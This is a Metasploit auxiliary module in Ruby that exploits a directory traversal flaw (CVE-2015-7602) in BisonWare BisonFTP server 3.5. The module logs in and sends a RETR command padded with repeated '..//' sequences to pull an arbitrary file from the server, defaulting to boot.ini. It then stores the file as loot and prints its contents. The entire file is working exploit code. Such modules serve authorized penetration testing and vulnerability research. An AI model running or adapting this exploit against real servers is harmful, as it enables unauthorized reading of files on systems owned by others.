91 lines
2.6 KiB
Ruby
91 lines
2.6 KiB
Ruby
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Ftp
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure',
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'Description' => %q{
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This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
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version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
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by crafting a RETR command including file system traversal strings such as '..//.'
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},
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'Platform' => 'win',
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'Author' =>
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[
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'Jay Turla <@shipcod3>', # msf and initial discovery
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'James Fitts',
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'Brad Wolfe' #brad.wolfe[at]gmail.com
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '38341'],
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[ 'CVE', '2015-7602']
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],
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'DisclosureDate' => 'Sep 28 2015'))
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register_options(
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[
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OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
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], self.class)
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end
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def check
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connect
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disconnect
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if (banner =~ /BisonWare BisonFTP server product V3.5/)
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def run_host(target_host)
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begin
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connect_login
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sock = data_connect
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file_path = datastore['PATH']
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file = ::File.basename(file_path)
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# make RETR request and store server response message...
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retr_cmd = ( "..//" * 32 ) + "#{file_path}"
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res = send_cmd( ["RETR", retr_cmd])
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# read the file data from the socket that we opened
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response_data = sock.read(1024)
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if response_data.length == 0
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print_status("File (#{file_path})from #{peer} is empty...")
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return
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end
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# store file data to loot
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loot_file = store_loot("bisonware.ftp.data", "text",rhost,response_data, file, file_path)
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print_status("Stored #{file_path} to #{loot_file}")
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# Read and print the data from the loot file.
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info_disclosure = IO.read(loot_file)
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print_status("Printing contents of #{file_path}")
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print_good("Result:\n #{info_disclosure}")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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ensure
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data_disconnect
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disconnect
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end
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end
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end
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